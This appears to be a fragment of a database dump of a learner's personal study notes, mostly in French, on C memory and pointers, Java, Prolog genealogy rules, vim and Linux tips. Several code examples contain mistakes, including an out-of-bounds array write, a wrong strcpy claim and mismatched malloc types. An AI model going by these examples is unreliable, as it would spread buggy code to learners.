    +-- 1000       +-+\n            |             |             -+ |\n  +-----+   |  +-----+    | +---+          |\n  | ptr |   |  | p   |    | | c |          |\n  |     |   |  |     |    | |   |          +- here are the\n  | 2000| <<+  | 1000| <--+ | d |              @memo\n  +-----+      +-----+      +---+\n\n\n\n\n\non a \n    int a = sizeof(int);\n        // a = 4\n        //  qui veut dire que un var int occupent 4octets dans memo\n    // donc\n    int b = 5; est de la forme suivante dans la memo:\n\n           addr      |  val\n        -------------+------------\n           ....      |\n                     |\n           16000     | +------+\n               1     | |  5   |\n               2     | |      |\n           16003     | +------+\n                     |         \n           ....      |\ndonc si un tableau de int a 100elts alors\n    la tableau va occuper 100*4octets dans la memo\n    meme si le tableau est vide,\n        car la place est reservee\n','2015-03-09 15:21:29'),(942,'#c_pr -structure -intro',NULL,NULL,'\nc un assemblage de variables qui peuvent avoir différents types\n\ngénéralement définies dans les fichiers .h\n\nex:\n    struct NomDeVotreStructure\n    {\n        int variable1;\n        int variable2;\n        int autreVariable;\n        double nombreDecimal;\n    };\n\n\n\n\n\nsupposons une structure qui va stocker des info concernant des point:\n    struct Point {\n        char couleur[100];\n        int x;\n        int y\n    };\ndans main(), on peut faire\n    {\n        ...\n        struct Point p00;\n        ...\n    }\nmais on veut faire\n{\n    ...\n    Point p00;\n    ...\n}\npour se faire\n    typedef struct Point Point;\n    // telqu_elle l_est, pas faux du tout\n\n\n\n\nmaintenant on peut faire:\n{\n    Point p00;\n    p00.x = 5;\n}\n\n\n\n\n\nstucture Point restant le meme:\non peut faire;\nmain() {\n    ...\n    Point x;\n    strcpy(x.color, \"red\");\n    ...\n}\n','2015-03-09 04:33:40'),(943,'#c_pr -file -intro -long-list',NULL,NULL,'\n\nFILE* fichier = NULL;\nfichier = fopen(\"test.txt\", \"r+\");\n\n','2015-03-08 19:21:02'),(944,'#c_pr -tableau -array -intro -long-list',NULL,NULL,'\nLes tableaux sont une suite de variables de même type, situées dans un espace contigu en mémoire.\n\nsupposons il y a un tableau dont le contenu est:\n    4, 6, 8, 1\n    \'\n    sa representation dans la memo est:\n\n    addr          |     val\n -----------------+--------------\n    1600          |     4                 <<--+  <-+\n    1601          |     6                     |    |\n    1602          |     8                     |    |\n    1603          |     1                     |    |\n                                              |    |\non ne peut pas faire des tableaux qui contient|a la|fois\n    int et double                             |    |\n                                              |    |\n                                              |    |\n                                              |    |\ncreation:                                     |    |\n    int tableau00[4];                         |    |\n    tableau00[1] = 4;                         |    |\n    tableau00[2] = 6;                         |    |\n    tableau00[3] = 8;                         |    |\n    tableau00[4] = 1;                         |    |\nsi on fait                                    |    |\n    printf(\"%d\", tableau00);                  |    |\n    //  1600                       -----------+    |\nmais en faisant                                    |\n    printf(\"%d\", tableau00[0]) ;                   |\n    // 4                                  ---------+\nastuce,\n    pour connaitre la premiere valeur donc,\n    printf(\"%d\", *tableau00);\n\npour avoir la deuxieme valeur,\n    printf(\"%d\", tableau00[1]);\n    ou\n    printf(\"%d\", *(tableau00 + 1));\n\n\ninitialisation tableau\n    int tableau[4] = {85, 0, 64, 40};\n    //                0   1   2   3     :   index\n    \'\n    ou bien utiliser la boucle for\n\n\npour avoir la taille du tableau(tab00)\nint tab00[] = {\n        1, 4, 6\n    };\nint a = sizeof(tab00)/sizeof(tab00[0]);\n            ^^^^^         ^^^\n            |||||          |\n            |||||          +----- u divide it by the size of the array element.\n            |||||\n            +++++----- determine size of array in bytes\n    // a = 3\n\npour faire une tableau de taille dynamique\n    de int:\n        au lieu de:\n            int amis[] = int[nombreDAmis];\n        on fait:\n            int *amis = malloc(nombreDAmis * sizeof(int));\n    de double\n        int *amis = malloc(nombreDAmis * sizeof(int));\n','2015-03-08 23:19:32'),(945,'#c_pr -string -intro -long-list',NULL,NULL,'it is better that if u want to do manipulation of str in c\n    then load \n        #include <string.h>\nstring en c est un tableau de char\n\nchar str[] = \"salut\";\n    sa representation en memo est:\n    \'\n     addr        |       val        +-- tt str en c se \n   --------------+---------------   |     termine par\n     18000       |       s       +--+     ce char (\\0)\n     18001       |       a       |\n     18002       |       l       |\n     18003       |       u       |\n     18004       |       t       |\n     18005       |       \\0   <-+\n\n\n\n\n\n\nhere are some functions which u can use for managing the string\n========================================\nsuppose that \n    char[] txt=\"this is a test\";\n\nto get the length\n    int length = strlen(txt);\n\nto concat 2str\n    char chaine1[100] = \"Salut \", \n    chaine2[] = \"Mateo21\";\n    \'\n    strcat(chaine1, chaine2);\n    // chaine1 = Salut Mateo21\n\nto build a str01 from another str00\n    char chaine[100];\n    int age = 99;\n    sprintf(chaine, \"Tu as %d ans !\", age);\n    // chaine = Tu as 99 ans\n\n\nto copy a string\n    char str[100];\n    strcpy(str, \"Hello\");\n    \'\n    this next one is not yet ok\n    strcpy(str, \"this is a test\");\n    // str will be set as \"this\"\n    //      only\n','2015-03-09 09:07:43'),(946,'#c_pr -scanf-string',NULL,NULL,'\nchar prenom[100];\nprintf(\"prenom: \");\nscanf(\"%s\", prenom);\n','2015-03-08 22:39:49'),(947,'#c_pr -preprocesseur',NULL,NULL,'\ninclude\n   peut inclure des fichier .h\n    peut inclure des fichier .c\n    \'\n    si fichier alors\n        #include \"fichier00.x\"\n        ex:\n            #include \"fichier00.c\"\n            #include \"fichier00.h\"\n#end_include\n\n\ndefine\n    c pour definir une constante de preprocesseur\n    \'\n    ex:\n        #define nb_vie_init 3\n#end_define\n','2015-03-09 08:33:25'),(948,'#vim -cvim -plugin',NULL,NULL,'\nhttp://www.thegeekstuff.com/2009/01/tutorial-make-vim-as-your-cc-ide-using-cvim-plugin/\n\nto change the info when u create a c_file with vim\n    > vim ~/.vim/c-support/templates/Templates\n\nwhen u want to add a function \n    \\if\n\nto insert a main function\n    \\im\n\nto insert a block of comment\n    \\cfr\n\n\nto run the prg00.c\n    \\rr\n','2015-03-09 07:02:56'),(949,'#vim -ctagi-taglist -intro',NULL,NULL,'\nhttp://www.thegeekstuff.com/2009/04/ctags-taglist-vi-vim-editor-as-sourece-code-browser/\n\ninstall\n    apt-get install exuberant-ctags\n\ngenerate ctags for the source_code\n    ctags *.c\n\nvim prg00.c\n    :ta main\n    // to go in the function main\n\n<c-]> to go in the definition of the function just under the cursor\n<c-t> to go back, to revert <c-]>\n\nto go in function which the name start by: get\n    :ta /^get\n\nto show the all function\n    :ts\n','2015-03-09 06:52:45'),(950,'#linux -wget -intro',NULL,NULL,'\nwget is a tool with which u can dl files from internet\n\nto dl some link and to continue if it stopped\n	wget -c link00\n\nto dl sth and put the dldd file into dldd00.file\n	wget -O dldd00.file link00\n','2015-03-09 06:56:23'),(951,'#linux -rm -long-list',NULL,NULL,'\nto delete everything except file00 and file01\n    shopt -s extglob\n    rm -rf !(file00|file01)\n','2015-03-09 08:11:07'),(952,'#vim -get-filename-diplayed-persistantly',NULL,NULL,'\nset laststatus=2\nset statusline+=%F\n','2015-03-09 08:51:05'),(953,'#linux -cat',NULL,NULL,'\nto make cat printing the line_number:\n    cat -n file00\n','2015-03-09 12:33:44'),(954,'c_pr -malloc-free -memo-manage',NULL,NULL,'\nceci doit etre lu apres avoir compris (941)\n\nappeler malloc pour demander de la mémoire ;\nune fois qu\'on a fini d\'utiliser la mémoire, on doit la libérer avec free\n    Si on ne le fait pas, on s\'expose à des fuites de mémoire\n    ie, le prg risque de prendre bcp de memo alors au_il utilise que tre pE\n\n       void*  malloc(      )    +--nb d_octets qu_on veut\n       |   |         |    |     |    ex: sizeof(3*int); si on vE 3int dans notre table\n       +---+         +----+-----+\n       |\n       +--c l_addr de memo que l_os a \n            choisi de reservee \n\nint *memoAllocated = malloc(sizeof(int));\n       ^++-------+\n                 |\n-------------+   |\nmemoAllocated| <-+          addr       |    val\n             |             ------------+------------\n18931    ------------>>     18931      |   +----+  ----+---tng d blongany, ka raha \n-------------+                  2      |   |    |      |     voafafa ny val am 18931\n                                3      |   |    |      |     dia voafafa iti blongany\n                                4      |   +----+  ----+            ity\n                                       |\n                                                               \npossible que l_allocation a echouee -->>> memoAllocated = NULL \n                  \n\n                         +----- @memo a effacer\n                         |\n                         |\n       void free(   )    |\n                 | |     |\n                 +-+-----+\n\nla precedente programme doit etre suivi par:\n    free(memoAllocated);\n\n','2015-03-09 16:02:32'),(955,'#c_pr -exo -pointer',NULL,NULL,'\ntu dois comprendre(941, 954)\n\nsujet:\n    1   demander à l\'utilisateur combien il a d\'amis ;\n    2   créer un tableau de int ayant une taille égale à son nombre d\'amis (via malloc) ;\n    3   demander l\'âge de chacun de ses amis un à un, qu\'on stocke dans le tableau ;\n    4   afficher l\'âge des amis pour montrer qu\'on a bien mémorisé tout cela ;\n    5   à la fin, puisqu\'on n\'a plus besoin du tableau contenant l\'âge des amis, le libérer avec la fonction free.\n\n1                                                               1111               55555       <<<<-----addr du var du dessous\n                                                             +-------+          +------------+            |\n    printf(\"combien d_amis? : \");                            |nb_amis|          |tbl_age_amis|      addr  |  val\n    scanf(\"%d\", &nb_amis);                                   |       |          |            |    --------+-------\n                                                             |   3   |          |   2222 ------>>   2222  |  +--+\n2   int *tbl_age_amis = malloc(nb_amis * sizeof(int));       +-------+          +------------+         3  |  |  |\n                                                                                                       4  |  +--+\n3   for(i = 0; i < nb_amis; i++){                                                                                \n        printf(\"age_amis[%d]: \", i);        +---------- ceci est d_apres sdz(matthieu)                       \n        scanf(\"%d\", &tbl_age_amis[ i ]);    |      selon moi *(tbl_age_amis + (i * sizeof(int) ) );\n    }               |                |      |\n                    +-+--------------+      |\n                      +---------------------+\n\n\n4   for (i = 0; i < nb_amis; i++){\n        printf(\"%d ans\\n\", ageAmis[i]);\n    }\n\n5   free(ageAmis);\n','2015-03-09 17:00:36'),(956,'#java -surcharge-constructeur',NULL,NULL,'\npublic constructor(int a, int b, int c){      <<---+\n    ...                                            |\n}                                                  |\n                                                   |\npublic constructor(int a) {      <<<--+            |\n    this(a, 0, 6);  -------ceci fait--|--appel a---+\n    ...                               |\n}                                     |  sache que this()\n                                      |     doit se mettre \npublic constructor(){                 |     en premiere ligne\n    this(8);          ----------------+\n    ...\n}\n','2015-03-09 19:05:50'),(964,'#java -applet -intro',NULL,NULL,'\nJApplet est comme JFrame mais dans|pour un fichier .html \n\ndans JApplet, il n_y a pas de\n    defjfr de mon netbeans\n        setTitle\n        setDefaultCloseoperation\n        setLocationRelativeTo\n        \'\n        setVisible\n\nle code le plus simple d_un applet\n    import javax.swing.* ;\n    public class PremApp extends JApplet\n    { \n        public PremApp ()\n        {}\n    }\n\ntu peux le faire executer en faisant \n    Run_file\nmais tu peux aussi le faire executer en l_introduisant dans un fichier00.html\n    sachant fichier00.html se trouve dans le meme dossier que le PremApp.class\n    \'\n    <HTML>\n    <BODY>\n    <APPLET\n        CODE = \"PremApp.class\"\n        WIDTH\n        = 350\n        HEIGHT = 100\n    >\n    </APPLET>\n    </BODY>\n    </HTML>\n\n\nlayout par defaut:\n    BorderLayout\n\n_________attention____________\nmeth init de JApplet est exe automatiquement lors \n    du lancement de l_applet\n\'\npour creer l_objet utiliser correspondant\n    n_utiliser pas le constructeur \n    utliser la methode init de JApplet\n\nclass extJApplet{\n    ...\n    @Override\n    public void init()\n    { ... }\n    ...\n}\n\nchaque fois que l_applet n_est plus visible\n    public void stop() { ... }\n    est exe\nqd l_applet redevient visible\n    public void start() { ... }\n    est exe \n\nmeth destroy() est exe qd l_applet a terminer son execution:\n    lorsque l_user quitte le navigateur qui l_a exe\n    en fermant le visualisateur de l_applet\n','2015-03-12 06:08:29'),(959,'#java -array-list',NULL,NULL,'\nc tres pratique\nifk: \n    on p le considerer comme un tableau qui n_a pas de limite\n\non peut tous ce qu_on veut dans arraylist, meme null\n\nArrayList arraylist = new ArrayList(); \narraylist.add(12);  \n... // tout donnee que tu veux\n\n                                       +--\n                                       | pour avoir l_elt qui se place\n                                 +-----+   sur le 4em insertion de l_arraylist\n\'                               |     +--\nObject obj =               -+----+\n    arraylist.get(4);      -+\n','2015-03-09 23:07:11'),(960,'#prolog -exo -lattice -long-list',NULL,NULL,'\nhttp://www.lattice.cnrs.fr/sites/itellier/Prolog/corriges.php?td=1                                                                                                                                                                                     [9/40]\n\nbut: ø definir arbre genealogique\n        ø lui poser des questions\n==============================================================\n\npour faciliter, noms commencent par \"a\" pour ancetre de plus haut niveau\n    \"b\" pour l_ancetre suivant\n    ainsi de suite\n    \'\n    ex:\n        andre+augustine:\n         +- bernard+becassine\n         |   +- clement+chantal\n         |       +- dudulle\n         |       +- damien\n         |       +- daniela\n         +- babar\n         |   +- celestine\n         +- brigite+baptiste\n             +- cedric+charlotte\n                 +- didier\n                 +- dagobert\n\ncodage des faits:\n===================================================\n/* les hommes */\nhomme(andre).\nhomme(bernard).\nhomme(babar).\nhomme(clement).\nhomme(dudulle).\nhomme(damien).\nhomme(baptiste).\nhomme(cedric).\nhomme(didier).\nhomme(dagobert).\n\n/* les femmes */\nfemme(augustine).\nfemme(becassine).\nfemme(brigitte).\nfemme(chantal).\nfemme(celestine).\nfemme(caroline).\nfemme(charlotte).\nfemme(daniela).\nfemme(dominique).\n\n/* les relations de parenté */\nenfant(bernard,andre).\nenfant(bernard,augustine).\nenfant(babar,andre).\nenfant(babar,augustine).\nenfant(brigitte,andre).\nenfant(brigitte,augustine).\nenfant(clement,bernard).\nenfant(clement,becassine).\nenfant(celestine,babar).\nenfant(caroline,brigitte).\nenfant(caroline,baptiste).\nenfant(cedric,brigitte).\nenfant(cedric,baptiste).\nenfant(dudulle,clement).\nenfant(dudulle,chantal).\nenfant(damien,clement).\nenfant(damien,chantal).\nenfant(daniela,clement).\nenfant(daniela,chantal).\nenfant(didier,cedric).\nenfant(didier,charlotte).\nenfant(dagobert,cedric).\nenfant(dagobert,charlotte).\nenfant(dominique,cedric).\nenfant(dominique,charlotte).\n\nattention\n        tout ce qui commence par une majuscule est une variable\n        dans les prédicats à 2 arguments\n            l\'ordre n\'est pas imposé par Prolog\n                ici, lien_parente(X,Y)\n                    signifie « X est lien_parente Y »\n                enfant(a, b)\n                    signifie \"a est enfant de b\" \n            l_ordre utilisé dans la définition doit être le même pour tous\n                meme dans les questions\n                pas de commutativité des arguments\n\n','2015-03-12 02:29:31'),(961,'#prolog -latticesuite(960)',NULL,NULL,'\npour avoir les listes de parentees:\n    enfant(X, Y).\n        X = bernard;   -+---- bernard est enfant de andre\n        Y = andre;     -+\n        \'\n        X = bernard;\n        Y = augustine;\n        ....\n\npour obtenir tout les couples possibles:\n    homme(X), femme(Y);\n        X = andre\n        Y = augustine ;\n        \'\n        ...\n\npour obtenir tout les couples possibles, et avoir ses enfants:\n    homme(X), femme(Y), enfant(Z, X), enfant(Z, Y);\n        X = andre\n        Y = augustine ;\n        \'\n        ...\n                                                    \nsi enfant(x,y)                                  ---+\n    alors parent(y,x)                           ---+---+\n    \'                                                 |\n    il y a parent(y, x) qui est en 2em place alors     |\n        sa traduction prolog est:                      |\n        parent(Y,X) :- enfant(X,Y).         -----------+\n\nd_apres le paragr juste precedemment\n    faisons :\n        parent (ou enfant, suivant le choix fait initialement)\n        fils, fille, père, mère\n        grand_parent, petit_enfant, grand_père, grand_mère, petit_fils, petite_fille\n        frere_ou_soeur, frère, soeur\n        oncle_ou_tante, oncle, tante\n        cousin_ou_cousine, cousin, cousine \n    ajoutes les lignes suivant aux faits du(960):\n################################################################################\n        /*regles*/\n        parent(Y,X) :- enfant(X,Y).\n        %\n        pere(X,Y) :- parent(X,Y),homme(X).\n        mere(X,Y) :- parent(X,Y),femme(X).\n        %\n        fils(X,Y) :- enfant(X,Y),homme(X).\n        fille(X,Y) :- enfant(X,Y),femme(X).\n        %\n        grand_parent(X,Y) :- parent(X,Z),parent(Z,Y).\n        grand_pere(X,Y) :- grand_parent(X,Y),homme(X).\n        grand_mere(X,Y) :- grand_parent(X,Y),femme(X).\n        %\n        petit_enfant(X,Y) :- grand_parent(Y,X).\n        petit_fils(X,Y) :-  petit_enfant(X,Y),homme(X).\n        petite_fille(X,Y) :-  petit_enfant(X,Y),femme(X).\n        %\n        frere_ou_soeur(X,Y) :- pere(P,X),pere(P,Y),mere(M,X),mere(M,Y),X\\==Y.\n        frere(X,Y) :- frere_ou_soeur(X,Y),homme(X).\n        soeur(X,Y) :- frere_ou_soeur(X,Y),femme(X).\n        %\n        oncle_ou_tante(X,Y) :- parent(Z,Y),frere_ou_soeur(X,Z).\n        oncle(X,Y) :- oncle_ou_tante(X,Y),homme(X).\n        tante(X,Y) :- oncle_ou_tante(X,Y),femme(X).\n        %\n        cousin_ou_cousine(X,Y) :- oncle_ou_tante(Z,X),enfant(Y,Z).\n        cousin(X,Y) :- cousin_ou_cousine(X,Y),homme(X).\n        cousine(X,Y) :- cousin_ou_cousine(X,Y),femme(X).\n\n\n\n\n\n\n\nRègle récursive.\n==========================================================\n\"être un ancêtre de\"\n    ancetre(X,Y) :- parent(X,Y).\n    ancetre(X,Y) :- parent(X,Z),ancetre(Z,Y).\n\ndonc,\n    ancetre(andre, daniela).\n        yes\n    ancetre(andre, dagobert).\n        no\n    ancetre(X, daniela).        X est ancetre de daniela\n        X = clement;\n        X = chantal;\n        X = bernard;\n        ...\n\npour qlq exo voir draft(48);\n','2015-03-12 09:30:28'),(962,'#prolog -lattice suite(961)',NULL,NULL,'\npour afficher les nbr de 1 a n\n    decroissant\n        % on initialise tout d_abord\n        decroissant(0).\n        %\n        decroissant(N) :-\n            N>0, \n                % on ecrit la valeur de N\n            write(N), \n                % on fait a_la_ligne\n            nl, \n                % on decremente\n            N1 is N-1, \n                % on fait la recursivite\n            decroissant(N1).\n    \'\n    \'\n    croissant   (__attention__: difficile, recursivitee)\n        croissant(0).\n        croissant(N) :- N>0, N1 is N-1, croissant(N1), write(N), nl.\n    \'\n    _ici_, le \",\" n_est pas commutative\n        sinon le decroissant et le croissant seront egaux.\n\npour verifier si N est paire \n    pair(0).\n    pair(X) :- X>0, X2 is X-2, pair(X2).\n\nil y a encore des suites\n    http://www.lattice.cnrs.fr/sites/itellier/Prolog/corriges.php?td=1\n    ou (s_il est encore la dedans)\n    file:///root/.mozilla/firefox/zodegmda.default/ScrapBook/data/20150311051150/corriges_001.html\n','2015-03-12 04:08:24'),(963,'#prolog -lattice -liste',NULL,NULL,'\nde preference, a lire apres avoir lu(962)\n\npour afficher une liste (en ordre normale)\n    a mettre dans les faits et regles\n        affiche([]).\n            % on initialise, on ne fait rien si la liste est vide(ifk)\n        affiche([X|R]) :-\n        %   X est le premier elt de la liste\n        %   R designe les_elt apres le premier_elt\n            write(X), \n            nl, \n            affiche(R).\n    \'\n    on le charge puis a faire dans le prompt de prolog.\n        affiche([5, 9, 1, 7]).\n        // out\n            5\n            9\n            1\n            7\n\npour afficher une liste en ordre inverse.\n    affiche2([]).\n    affiche2([X|R]) :- affiche2(R), write(X), nl.\n    puis dans le prompt\n        affiche2([])\n','2015-03-12 09:33:33'),(965,'#java -keylistener',NULL,NULL,'\ninterface KeyListener{\n    public void keyPressed(KeyEvent e) {}   -+--ceci sont les plus utilisees\n    public void keyReleased(KeyEvent e) {}  -+\n    public void keyTyped(Keyxxxx) {}\n}\n\nles codes suivant sont a mettre dans meth(keyPressed|keyReleased)\n    pour avoir le code de touche appuiee\n        int code = e.getKeyCode() ;\n    \'\n    si on veut le tester avec d_autre touche\n        switch(code) {\n            case KeyEvent.VK_UP:    // pour plus (966)\n                 -----+---------\n                      |\n                      +---ceci peut varier d_une touche a une autre\n                System.out.println(\"up\");\n                System.out.println(\"another line\");\n            break;\n            case ....\n            default:\n                System.out.println(\"not yet implemented\");\n                System.out.println(\"\"nother line);\n        }\n    pour avoir le char de touche appuiee\n        char c = e.getKeyText(e.getKeyCode());\n\npour tester si on a appuiee sur <c-e>                                       <<<<<---------------------+\n    public void keyPressed(){                                                                         |\n        if ( (e.getKeyCode() == KeyEvent.VK_E)                  --ici pour tester qu_on a appuie \"e\" -+\n            &&                                                                                        |\n            ((e.getModifiers() & InputEvent.CTRL_MASK) != 0 )   --ici pour tester qu_on               |\n        )          ---+---------                                    a appuiee sur ctrl              --+\n                      |\n                      +---  ceci est un truc de bit\n\n        {\n            // action a faire qd <c-e> est appuiee\n        }\n    }\n','2015-03-12 08:21:21'),(966,'#java -vk -hit-touch','\nVK_0 à VK_9\nVK_NUMPAD0 à VK_NUMPAD9         sur pavee numerique\nVK_A à VK_Z                     \nVK_F1 à VK_F24\nVK_ALT\nVK_ALT_GRAPH\nVK_CAPS_LOCK\nVK_CONTROL\nVK_DELETE\nVK_DOWN\nVK_END\nVK_ENTER\nVK_ESCAPE\nVK_HOME\nVK_INSERT\nVK_LEFT\nVK_NUM_LOCK\nVK_PAGE_DOWN\nVK_PAGE_UP\nVK_PRINTSCREEN\nVK_RIGHT\nVK_SCROLL_LOCK\nVK_SHIFT\nVK_SPACE\nVK_TAB\n',NULL,NULL,'2015-03-12 08:09:48'),(967,'#java -clavier',NULL,NULL,'\n\nimport java.io.* ;\npublic class Clavier{ \n    public static String lireString () // lecture d’une chaine\n    { \n        String ligne_lue = null ;\n    try\n    {\n        InputStreamReader lecteur = new InputStreamReader (System.in) ;\n        BufferedReader entree = new BufferedReader (lecteur) ;\n        ligne_lue = entree.readLine() ;\n    }\n    catch (IOException err)\n    { System.exit(0) ;\n    }\n        return ligne_lue ;\n    }\n\n    public static float lireFloat () // lecture d’un float\n    {\n         float x=0 ; // valeur a lire\n        try\n        { String ligne_lue = lireString() ;\n        x = Float.parseFloat(ligne_lue) ;\n        }\n        catch (NumberFormatException err)\n        { System.out.println (\"*** Erreur de donnee ***\") ;\n            System.exit(0) ;\n        }\n        return x ;\n    }\n\n    public static double lireDouble () // lecture d’un double\n    {\n        double x=0 ; // valeur a lire\n        try\n        {\n            String ligne_lue = lireString() ;\n            x = Double.parseDouble(ligne_lue) ;\n        }\n        catch (NumberFormatException err)\n        { \n            System.out.println (\"*** Erreur de donnee ***\") ;\n            System.exit(0) ;\n        }\n        return x ;\n    }\n    public static int lireInt ()\n    // lecture d’un int\n    {\n        int n=0 ; // valeur a lire\n        try\n        { String ligne_lue = lireString() ;\n        n = Integer.parseInt(ligne_lue) ;\n        }\n        catch (NumberFormatException err)\n        { System.out.println (\"*** Erreur de donnee ***\") ;\n        System.exit(0) ;\n        }\n        return n ;\n    }\n}\n\n','2015-03-12 08:52:45'),(968,'#java -tray-icon',NULL,NULL,'\npour tester que le sys present supporte tray icon par java.\n    boolean b = SystemTray.isSupported();\n\nTrayIcon tic1 = new TrayIcon (\n    image1, \"PourInfo_Bulle_Icone_Rouge\") ;\n    |\n    +>> Image image1 = \n            im1.getImage();\n            |\n            +-> ImageIcon im1 = new ImageIcon (\"rouge.gif\") ;\n\nalors,\n    ImageIcon im1 = new ImageIcon (\"rouge.gif\") ;                               \n    Image image1 = im1.getImage();                                              \n    TrayIcon tic1 = new TrayIcon (image1, \"PourInfo_Bulle_Icone_Rouge\") ;   <--+\n                                                                               |\npuis on prend, l_emplct par ou on met le tray                                  |\n    SystemTray tray = SystemTray.getSystemTray();       <<--+                  |\net on ajouter notre tray_icon dans l_emplct                 |                  |\n    \'   +--------------------------------------------------+                  |\n    \'   |     +---------------------------------------------------------------+\n      v--+     v\n    tray.add(tic1) ;\n\non peut supprimer un tray par \n    tray.remove(tic1);\n','2015-03-12 09:04:51'),(969,'#java -introspection-annotation',NULL,NULL,'\nintrospection permettent d_analyser les caracteristiques d_une classe\n    pdt l_execution\n    pdt l_execution\n\nil y a type Class\n    dont les instances sont des classes\n','2015-03-12 09:27:58'),(970,'#prolog -exo',NULL,NULL,'\nDire si un nombre est pair. \nTrouver la somme des N premiers entiers.\nTrouver la factorielle d\'un nombre.\nfibo(N,X),\ncombinaison(N, P, C),\n','2015-03-12 09:39:49'),(971,'#definition -automate','\nautomate est constituee de:\n    vocabulaire fini:\n        ce sera l_ensemble des mots autorisees dans les questions.\n    ensemble finit d_etats\n        au moins un etat initial\n        au moin un etat final\n    ensemble fini de transitions:\n        c ici le tres difficile hein\nun automate est un cas particulier de graphe\n',NULL,NULL,'2015-03-12 15:18:13'),(972,'#prolog -td -question-genealogique',NULL,NULL,'\npour tester si la phrase comme\n    qui est le frere de babar\n               neveu de bernard\nest vrai au fausse\n\n                                    +---le--->  4 -----frere----+  +---d----->   7 ---andre------+\n                                    |           +-neveu-+       |  |             +--bernard-+    |\n                                    |                   |       v  |                        |    v\n   ----->>  1 ---qui--> 2 ---est--->3                   +-----> 6--+                        +--> 9 ------>> \n                                    |                   |       ^  |                        |    ^\n                                    |                   |       |  |                        |    |\n                                    |           +-oncle-+       |  |             +--babar---+    |\n                                    +----l--->  5 ---ancetre----+  +---de---->   8 ----caroline--+\n\ncertains relations ne sont pas mis en place pour ne pas alourdir\n    le schema\n\nde l_etat1 a l_etat# (etat3 est le nouveau depart)\n\'\netat1([qui,est|L]) :- \n    etat3(L).\netat3([])\n\n\npour emboiter les liens de parentee\n\n                                                +--------du----------+\n                                                v                    |\n                                    +---le--->  4 -----frere----+    |         +---d----->   7 ---andre------+\n                                    |           +-neveu-+       |    |         |             +--bernard-+    |\n                                    |                   |       v    |         |                        |    v\n   ----->>  1 ---qui--> 2 ---est--->3                   +-----> 6 ---+   ------+                        +--> 9 ------>> \n                                    |                   |       ^              |                        |    ^\n                                    |                   |       |              |                        |    |\n                                    |           +-oncle-+       |              |             +--babar---+    |\n                                    +----l--->  5 ---ancetre----+              +---de---->   8 ----caroline--+\n                                                ^                                            |\n                                                +---------------------l----------------------+\n\n\n\n','2015-03-12 15:49:36'),(973,'#linux -local-repo-debian',NULL,NULL,'\nutil quand vous etes sur reseau qui n_a pas d_acces internet\n    mais vous etes destinees a maintenir les machines qui sont sur le reseau\n    \'\n    on cree alors un repos_debian dans une machine\n    les autres machines vont se connecter sur cette machine pour installer\n        des paquets\n    \'\n    il faut d_abord dldd les dvd/cd debian sous forme iso\n    il faut que le machine qui va contenir le repo possede bcp d_espace\n        environ la meme que la somme de taille des dvd/cd\n\nsi on a les images iso\n    cree /data/debian dans la machine qui va contenir le repo debian\n    \'\n    voici un script a exe:\n        mkdir -p /mnt/iso\n        for i in `ls /mnt/nas/iso/debian`\n        do\n          mount -o loop /mnt/nas/iso/debian/$i /mnt/iso\n          for f in $(find /mnt/iso/debian/pool -type f)\n          do\n            echo $f\n            cp $f -t /data/debian\n          done\n          umount /mnt/iso\n        done\n\nl_exe de ce script doit demander bcp de tmps\na la fin de l_exe de ce script, dans le /data/debian\n    il doit y avoir bcp de packet\n\npuis on passe a la creation des fichiers Release et \n    fichiers Packages.gz\n    \'\n    pour le fichier Release:\n        Archive: wheezy\n        Component: main\n        Origin: mmt\n        Label: Le depot de mmt\n        Architecture: i386\n        \'\n    pour le fichier Packages.gz\n        cd /data/debian\n        dpkg-scanpackages ./ /dev/null | gzip -9c > Packages.gz\n            \'\n            cela peut prendre certains temps\n\nediter /etc/apt/sources.list\n    deb file:/data/debian/ /\n    ou\n    deb file:///data/debian ./\n\non met a jour\n    apt-get update\n','2015-03-13 17:17:37'),(974,'#dp -intro',NULL,NULL,'\nmost of my study about design_pattern will be in repo\n    nonicken/dia_uml\nmeth main is for creating object and \n    to interact them\n    \'\n    don_t do this next:\n        main(){\n            ...\n            Dog dog = new Dog();\n            dog.names = \"name00\";\n            ...\n        }\n        \'\n        do this:\n            main(){\n                ...\n                dog.setName(\"name00\");\n                ...\n            }\n\n\n\ngetter = accessor\nsetter = mutator\n\n\"is a\" vs \"has a\"\n===================================================\nis Dog an Animal ?\n    if result=yes, \n        then Dog should be a subclass of Animal\n    \'\n    don_t use inheritance to reuse the code\nDog is an Animal\n    the class_Dog extends Animal\nDog|dog00 has a weight00.\n    class_Dog should have a specific_field(weight)\n','2015-03-13 20:31:19'),(975,'#eclipse -long-list',NULL,NULL,'\nto insert abbreviation\n    Preference > Java > Editor > Templates\n\nto insert line number \n    Window > Preference > General > Editor > Text Editor\n        tick: Show line numbers\n\nto rename a variable in eclipse\n    <c-shift-r>\n\nto insert automatically some code in as\n    constructor, getter_setter, ...\n    \'\n    <alit-shift-s>\n','2015-03-13 22:55:21'),(976,'#java -file',NULL,NULL,'\npour relier un fichier|repertoire a java,\n    mais pas de creation de fichier ou quoi que ce soit\nFile myfile=new File(\"/path/file00\");\nFile monFichier5 = new File (\"java/essais\", \"entiers.bin\") ;\n\ndans windows\n    File file = new File(\"c:\\\\java\\\\exemples\\\\cours\") ;\n\nil y a de difference sur le separateur de repertoire sur le \n    windows et sur le linux\npour faire en sorte que cela soit le meme\n    String s = File.separator();\n    \'\n    mais ici je crois que tu ne peux pas faire de\n        chemin venant de root mais tu dois etre au depar par ou il y \n        a ton projet\n\npour creer le fichier\n    boolean b = myfile.createNewFile();\n\napres cela t_as besoin des trucs comme DataOutPutStream\n    ifk, c pour faire entrer ou sortir des flux\n\n\n\n\n\npour supprimer un fichier \n    File file = new File(\"/path/file00\");\n    file.delete();\n    \'\n    pour creer repertoire\n        boolean b = file.mkdir();\n    \'\n    pour creer repertoire mais acceptant les intermediaire\n        boolean b = file.mkdirs();\n        ne comprend pas encore tres bien comment est-ce que ceci marche\n    \'\n    pour tester si un fichier existe ou pas\n        boolean b = file.exists();\n    \'\n    pour tester si c un fichier\n        boolean b = file.isFile();\n    \'\n    pour tester si c un repertoire\n        boolean b = file.isDirectory();\n    \'\n    \'\n    pour tester si c readable\n        boolean b = file.canRead();\n    \'\n    pour tester si c writable\n        boolean b = file.candRead();\n    \'\n    pour tester si c executable\n        boolean b = file.canExecute();\n    \'\n    pour marquer le file en lecture seule\n        boolean b = file.setReadOnly();\n    \'\n    pour mettre le fichier readable\n        boolean b = file.setReadable(boolean);\n    \'\n    pour mettre le fichier writeable\n        boolean b = file.writeable(boolean true|false);\n    \'\n    pour mettre le fichier executable\n        boolean b = 